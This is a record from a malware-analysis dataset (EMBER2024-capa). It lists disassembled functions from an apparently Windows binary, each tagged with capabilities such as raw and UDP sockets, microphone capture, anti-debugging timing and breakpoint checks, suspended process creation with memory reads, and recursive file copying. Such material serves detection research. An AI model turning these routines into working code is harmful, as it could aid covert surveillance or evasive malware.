joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4603b4
Capabilities:
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
test dl, dl
je 0x4603cc
add esp, 0xfffffff0
call fcn.00404074
mov byte [ebp - 1], dl
mov ebx, eax
xor eax, eax
push ebp
push 0x4604f9
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, ebx
call fcn.0041e88c
mov byte [ebx + 0x10210], 0
mov eax, 0x400
call fcn.00402744
mov dword [ebx + 0x10068], eax
push ebx
push 0x460c58
call fcn.0044bdbc
mov dword [ebx + 0x10060], eax
mov dword [ebx + 0x10208], 1
mov byte [ebx + 0x1006c], 0
push 0x460520
push 0
push 0xffffffffffffffff
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebx + 0x10248], eax
mov ecx, 0x46052c
mov dl, 8
mov eax, ebx
call fcn.00460bd8
lea eax, [ebx + 0x10070]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup_1
test eax, eax
jne 0x4604c9
xor eax, eax
push ebp
push 0x4604b3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 2
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov dword [ebx + 0x1024c], esi
inc esi
jne 0x46048c
lea ecx, [ebp - 8]
mov dx, 0x2733
mov eax, ebx
call fcn.00460a14
push 4
push 0x460544
push 0xff7f
push 0xffff
mov eax, dword [ebx + 0x1024c]
push eax
call sub.wsock32.dll_setsockopt
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4604d7
lea ecx, [ebp - 0xc]
mov dx, 0x2733
mov eax, ebx
call fcn.00460a14
mov byte [ebx + 0x10210], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x460500
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404b24
ret

Function at 0x460598
Capabilities:
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46066c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x1024c]
test eax, eax
je 0x4605c7
push eax
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup_1
lea eax, [ebx + 0x10070]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup_1
test eax, eax
jne 0x460633
xor eax, eax
push ebp
push 0x46061d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 2
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov dword [ebx + 0x1024c], esi
inc esi
jne 0x460613
lea ecx, [ebp - 8]
mov dx, 0x2733
mov eax, ebx
call fcn.00460a14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x460641
lea ecx, [ebp - 0xc]
mov dx, 0x2733
mov eax, ebx
call fcn.00460a14
mov eax, dword [ebp - 4]
mov dword [ebx + 0x1003c], eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x460673
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404b24
ret
Function at 0x460874
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov ebx, ecx
test ebx, ebx
js 0x46088c
shr ebx, 2
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x460885
mov edx, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor esi, esi
cmp dword [ebp + 8], 0
jne 0x460927
test esi, esi
jle 0x4608be
mov ecx, 0x4609d0
mov dl, 1
mov eax, dword [0x408214]
call fcn.0040c108
call fcn.004044dc
jmp 0x46091d
cmp word [ebx + 0x10242], 0
jne 0x4608e0
mov ecx, 0x4609d0
mov dl, 1
mov eax, dword [0x408214]
call fcn.0040c108
call fcn.004044dc
jmp 0x46091d
mov byte [ebp - 9], 0
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
lea edx, [ebp - 9]
mov eax, dword [ebx + 0x10244]
call dword [ebx + 0x10240]
cmp byte [ebp - 9], 0
jne 0x46091c
mov ecx, 0x4609d0
mov dl, 1
mov eax, dword [0x408214]
call fcn.0040c108
call fcn.004044dc
jmp 0x46091d
inc esi
cmp dword [ebp + 8], 0
je 0x4608a2
mov byte [ebx + 0x1006c], 0
mov eax, ebx
call fcn.00460708
cmp dword [ebx + 0x10044], 0
jne 0x460954
mov ecx, 0x4609e8
mov dl, 1
mov eax, dword [0x45ffb8]
call fcn.0040c108
call fcn.004044dc
mov ecx, 0x460a04
mov dl, 2
mov eax, ebx
call fcn.00460bd8
mov word [ebx + 0x10040], 2
mov ax, word [ebx + 0x10038]
push eax
call sub.wsock32.dll_htons
mov word [ebx + 0x10042], ax
mov eax, 0x10
push eax
lea eax, [ebx + 0x10040]
push eax
push 0
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebx + 0x1024c]
push eax
call sub.wsock32.dll_sendto
cmp word [ebx + 0x1022a], 0
je 0x4609ba
mov edx, ebx
mov eax, dword [ebx + 0x1022c]
call dword [ebx + 0x10228]
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4

Function at 0x460cc8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x460d9c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0xffff
lea eax, [ebx + 0x30]
push eax
mov eax, dword [ebx + 0x1024c]
push eax
call sub.wsock32.dll_recvfrom
mov dword [ebx + 0x10030], eax
cmp word [ebx + 0x10222], 0
je 0x460d86
lea eax, [ebp - 8]
push eax
xor eax, eax
mov al, byte [ebp - 0x14]
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x34], 0
xor eax, eax
mov al, byte [ebp - 0x13]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x2c], 0
xor eax, eax
mov al, byte [ebp - 0x12]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0
xor eax, eax
mov al, byte [ebp - 0x11]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
lea edx, [ebp - 0x38]
mov ecx, 3
mov eax, 0x460db0
call fcn.0040a22c
mov ax, word [ebp - 0x16]
push eax
call sub.wsock32.dll_ntohs
mov edx, dword [ebp - 8]
push edx
movzx eax, ax
push eax
mov ecx, dword [ebx + 0x10030]
mov edx, ebx
mov eax, dword [ebx + 0x10224]
call dword [ebx + 0x10220]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x460da3
lea eax, [ebp - 8]
call fcn.00404b00
ret
Function at 0x460f98
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404fa0
xor eax, eax
push ebp
push 0x4610c5
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebx + 0xc], eax
lea eax, [ebx + 0x10034]
mov edx, dword [ebp - 4]
call fcn.00404b54
mov dword [ebx + 0x10224], esi
mov dword [ebx + 0x10220], 0x460f08
mov edx, 0xfa0
mov eax, ebx
call fcn.00460598
mov eax, dword [ebx + 0x1003c]
mov dword [ebx + 0x10038], eax
lea eax, [ebp - 8]
mov edx, dword [ebx + 0x1003c]
mov dword [eax], edx
push 4
lea edx, [ebp - 8]
mov ecx, 3
mov eax, ebx
call fcn.00460874
call sub.kernel32.dll_GetTickCount
mov esi, eax
jmp 0x46102d
mov eax, dword [0x49eccc]
mov eax, dword [eax]
call fcn.004548ec
cmp dword [ebx + 0xc], 0
jne 0x4610a9
call sub.kernel32.dll_GetTickCount
sub eax, esi
cmp eax, 0x32
jb 0x461021
jmp 0x4610a9
mov edx, dword [edi]
mov eax, ebx
call fcn.00460598
inc dword [edi]
cmp dword [edi], 0xffff
jne 0x46105a
mov dword [edi], 0xfa0
mov eax, dword [ebx + 0x1003c]
mov dword [ebx + 0x10038], eax
lea eax, [ebp - 8]
mov edx, dword [ebx + 0x1003c]
mov dword [eax], edx
push 4
lea edx, [ebp - 8]
mov ecx, 3
mov eax, ebx
call fcn.00460874
call sub.kernel32.dll_GetTickCount
mov esi, eax
jmp 0x461097
mov eax, dword [0x49eccc]
mov eax, dword [eax]
call fcn.004548ec
cmp dword [ebx + 0xc], 0
jne 0x4610a9
call sub.kernel32.dll_GetTickCount
sub eax, esi
cmp eax, 0x32
jb 0x46108b
cmp dword [ebx + 0xc], 0
je 0x461041
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4610cc
lea eax, [ebp - 4]
call fcn.00404b00
ret
Function at 0x46d364
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0x30], 0
je 0x46d4a3
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xca], 0
je 0x46d3eb
mov eax, ebx
call fcn.00402744
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x46d3e4
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004029ac
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xcc]
call dword [ebx + 0xc8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d3eb
mov eax, dword [ebp - 0xc]
call fcn.00402764
ret
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xd0]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
je 0x46d413
mov ecx, eax
mov edx, 0x46d4c4
mov eax, dword [ebp - 4]
call fcn.0046d66c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00407cd0
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xd0]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
je 0x46d479
mov ecx, eax
mov edx, 0x46d4e4
mov eax, dword [ebp - 4]
call fcn.0046d66c
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xd0]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
je 0x46d4b7
mov ecx, eax
mov edx, 0x46d504
mov eax, dword [ebp - 4]
call fcn.0046d66c
jmp 0x46d4b7
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 8
jne 0x46d4b7
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0046dd98
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46d514
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 0x30], 0
jne 0x46d5eb
xor eax, eax
mov dword [ebx + 0xd0], eax
mov esi, esp
lea edi, [ebx + 0x3c]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp word [ebx + 0x3c], 1
jne 0x46d557
or eax, 0xffffffff
jmp 0x46d559
xor eax, eax
cmp word [esp], 1
jne 0x46d582
push 0x10000
push 0
mov edx, dword [ebx + 0xc0]
push edx
lea edx, [esp + 0xc]
push edx
push eax
lea eax, [ebx + 0xd0]
push eax
call sub.winmm.dll_waveInOpen
jmp 0x46d5a2
push 0x10004
push 0
mov edx, dword [ebx + 0xc0]
push edx
lea edx, [esp + 0xc]
push edx
push eax
lea eax, [ebx + 0xd0]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
je 0x46d5b4
mov ecx, eax
mov edx, 0x46d600
mov eax, ebx
call fcn.0046d66c
movzx esi, byte [ebx + 0xbd]
test esi, esi
jle 0x46d5c9
mov eax, ebx
call fcn.0046dcc8
dec esi
jne 0x46d5bf
mov eax, dword [ebx + 0xd0]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
je 0x46d5e7
mov ecx, eax
mov edx, 0x46d614
mov eax, ebx
call fcn.0046d66c
mov byte [ebx + 0x30], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret

Function at 0x46e1d4
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffc0
mov edi, eax
push 0x14
lea eax, [edi + 0x4c]
mov ecx, 1
mov edx, dword [0x46dfc8]
call fcn.004061b4
add esp, 4
push 0x40
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname_1
push esp
call sub.wsock32.dll_gethostbyname_1
test eax, eax
jne 0x46e237
push 0
lea eax, [edi + 0x4c]
mov ecx, 1
mov edx, dword [0x46dfc8]
call fcn.004061b4
add esp, 4
cmp word [edi + 0x42], 0
je 0x46e277
mov edx, 0x46e288
mov eax, dword [edi + 0x44]
call dword [edi + 0x40]
jmp 0x46e277
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x46e254
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [edi + 0x4c]
lea eax, [eax + ebx*4]
call fcn.00404cf0
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
je 0x46e260
cmp ebx, 0x14
jl 0x46e23e
push ebx
lea eax, [edi + 0x4c]
mov ecx, 1
mov edx, dword [0x46dfc8]
call fcn.004061b4
add esp, 4
add esp, 0x40
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x46e29c
Capabilities:
Create raw socket
Create tcp socket
Create udp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov ebx, eax
lea ebp, [esp + 8]
mov eax, dword [ebx + 0x4c]
call fcn.00406000
inc eax
je 0x46e3a0
mov eax, dword [ebx + 0x4c]
call fcn.00406000
inc eax
push eax
lea eax, [ebx + 0x48]
mov ecx, 1
mov edx, dword [0x46dfa4]
call fcn.004061b4
add esp, 4
mov eax, dword [ebx + 0x4c]
call fcn.00406000
mov edi, eax
test edi, edi
jl 0x46e3a0
inc edi
xor esi, esi
push 0
push 3
push 2
call sub.wsock32.dll_socket
mov edx, dword [ebx + 0x48]
mov dword [edx + esi*4], eax
mov word [ebp], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp + 2], ax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + esi*4]
call fcn.00404fb0
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp + 4], eax
push 0x10
push ebp
mov eax, dword [ebx + 0x48]
mov eax, dword [eax + esi*4]
push eax
call sub.wsock32.dll_bind
mov edx, eax
mov eax, ebx
call fcn.0046e884
mov dword [esp], 1
xor eax, eax
mov dword [esp + 4], eax
push 0
push 0
lea eax, [esp + 0xc]
push eax
push 0x2c
lea eax, [esp + 0x28]
push eax
push 4
lea eax, [esp + 0x18]
push eax
push 0x98000001
mov eax, dword [ebx + 0x48]
mov eax, dword [eax + esi*4]
push eax
call dword [ebx + 0x6c]
mov edx, eax
mov eax, ebx
call fcn.0046e884
push 0x21
lea eax, [esi + 0x4c8]
push eax
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebx + 0x48]
mov eax, dword [eax + esi*4]
push eax
call sub.wsock32.dll_WSAAsyncSelect
mov edx, eax
mov eax, ebx
call fcn.0046e884
inc esi
dec edi
jne 0x46e2ed
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x476870
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x47689e
mov eax, ebx
call fcn.00477328
cmp dword [ebx + 0x3c], 0
je 0x476897
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x47690f
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x476901
cmp dword [ebx + 8], 0
je 0x4768c0
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x4768d2
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x476901
cmp dword [ebx + 8], 0
je 0x4768b3
cmp eax, 3
je 0x4768e5
dec eax
jne 0x4768b3
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4768b3
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x4768b3
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x47692d
cmp dword [ebx + 0x10], 0xcc
je 0x47692d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00476938
pop ebx
ret

Function at 0x486cf4
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov dword [esp], eax
xor ebx, ebx
mov eax, ebx
shr eax, 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov ecx, dword [edx + eax*4 + 0x20]
shr ecx, 0x10
mov esi, ecx
imul esi, ecx
mov eax, esi
imul eax, ecx
mov edi, eax
imul edi, ecx
mov dword [esp + 8], edi
movzx edi, byte [edx + ebx*4]
imul edi, dword [esp + 8]
movzx ebp, byte [edx + ebx*4 + 1]
imul ebp, eax
add edi, ebp
xor eax, eax
mov al, byte [edx + ebx*4 + 2]
imul eax, esi
add edi, eax
xor eax, eax
mov al, byte [edx + ebx*4 + 3]
imul eax, ecx
add edi, eax
inc edi
mov dword [esp + 4], edi
mov eax, dword [esp + 0xc]
mov ecx, dword [edx + eax*4 + 0x20]
and ecx, 0xffff
mov esi, ecx
imul esi, ecx
mov eax, esi
imul eax, ecx
mov edi, eax
imul edi, ecx
mov dword [esp + 8], edi
movzx edi, byte [edx + ebx*4 + 4]
imul edi, dword [esp + 8]
movzx ebp, byte [edx + ebx*4 + 5]
imul ebp, eax
add edi, ebp
xor eax, eax
mov al, byte [edx + ebx*4 + 6]
imul eax, esi
add edi, eax
xor eax, eax
mov al, byte [edx + ebx*4 + 7]
imul eax, ecx
add edi, eax
inc edi
mov eax, edi
mov ecx, dword [esp + 4]
shl ecx, 0x10
mov esi, eax
and esi, 0xffff
or ecx, esi
mov esi, dword [esp]
mov edi, dword [esp + 0xc]
mov dword [esi + edi*4], ecx
mov ecx, dword [esp + 4]
and ecx, 0xffff0000
shr eax, 0x10
or ecx, eax
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x10], ecx
add ebx, 2
cmp ebx, 8
jne 0x486d00
mov eax, dword [esp + 0x10]
mov ecx, eax
shr ecx, 0x10
mov ebx, dword [esp + 0x1c]
mov esi, ebx
shl esi, 0x10
or ecx, esi
mov dword [edx + 0x20], ecx
shl eax, 0x10
mov ecx, dword [esp + 0x14]
mov esi, ecx
shr esi, 0x10
or eax, esi
mov dword [edx + 0x24], eax
shl ecx, 0x10
mov eax, dword [esp + 0x18]
shr eax, 0x10
or ecx, eax
mov dword [edx + 0x28], ecx
mov eax, dword [esp + 0x18]
shl eax, 0x10
shr ebx, 0x10
or eax, ebx
mov dword [edx + 0x2c], eax
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x488f50
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fa0
xor eax, eax
push ebp
push 0x489068
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00403288
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov edx, 0x10
call fcn.00403288
mov dword [ebp - 0x4c], 0x44
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x489052
mov eax, dword [ebp - 0x5c]
mov dword [esi], eax
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0x58]
mov dword [eax], edx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 0x54]
mov dword [eax], edx
mov dword [edi], 0x10007
push edi
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetThreadContext
call fcn.0045a018
test al, al
je 0x489022
call fcn.0045a018
test al, al
je 0x489022
lea eax, [ebp - 8]
push eax
push 4
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadProcessMemory
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
jmp 0x489035
cmp dword [ebp - 0x68], 0x10000
je 0x489048
add edi, dword [ebp - 0x6c]
push 0x1c
lea eax, [ebp - 0x78]
push eax
push edi
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualQueryEx
test eax, eax
jne 0x489029
mov eax, dword [ebp + 0xc]
sub edi, dword [eax]
mov eax, dword [ebp + 8]
mov dword [eax], edi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48906f
lea eax, [ebp - 4]
call fcn.00404b00
ret
Function at 0x489d58
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd98
push ebx
xor ecx, ecx
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fa0
mov eax, dword [ebp - 8]
call fcn.00404fa0
xor eax, eax
push ebp
push 0x489fa8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x254]
call fcn.00409a4c
mov edx, dword [ebp - 0x254]
lea eax, [ebp - 0x110]
mov ecx, 0xff
call fcn.00404d94
mov eax, dword [ebp - 4]
call fcn.004028e8
lea eax, [ebp - 0x250]
push eax
push 0x489fb8
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x489f3f
mov eax, dword [ebp - 8]
call fcn.00409574
test al, al
jne 0x489e0b
mov eax, dword [ebp - 8]
call fcn.00409598
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x224]
mov ecx, 0x104
call fcn.00404d68
mov eax, dword [ebp - 0x10]
mov edx, 0x489fc4
call fcn.00404efc
je 0x489f22
mov eax, dword [ebp - 0x10]
mov edx, 0x489fd0
call fcn.00404efc
je 0x489f22
cmp dword [ebp - 0x250], 0x10
jne 0x489ef1
push dword [ebp - 8]
push 0x489fdc
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404e78
mov eax, dword [ebp - 0xc]
call fcn.00409574
test al, al
jne 0x489e7d
mov eax, dword [ebp - 0xc]
call fcn.00409598
mov eax, dword [ebp - 4]
call fcn.00404db8
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x489eba
push dword [ebp - 4]
push 0x489fdc
push dword [ebp - 0x10]
lea eax, [ebp - 0x258]
mov edx, 3
call fcn.00404e78
mov eax, dword [ebp - 0x258]
mov edx, dword [ebp - 0xc]
call fcn.00489d58
jmp 0x489f22
lea eax, [ebp - 0x25c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00404e04
mov eax, dword [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.00404e04
mov eax, dword [ebp - 0x260]
pop edx
call fcn.00489d58
jmp 0x489f22
push dword [ebp - 8]
push 0x489fdc
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404e78
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
call fcn.00404fb0
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404fb0
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x250]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x489e0b
jmp 0x489f5f
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x110]
call fcn.00404d5c
mov eax, dword [ebp - 0x264]
call fcn.004028e8
xor ebx, ebx
jmp 0x489f7d
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x110]
call fcn.00404d5c
mov eax, dword [ebp - 0x268]
call fcn.004028e8
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x489faf
lea eax, [ebp - 0x268]
mov edx, 6
call fcn.00404b24
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404b24
ret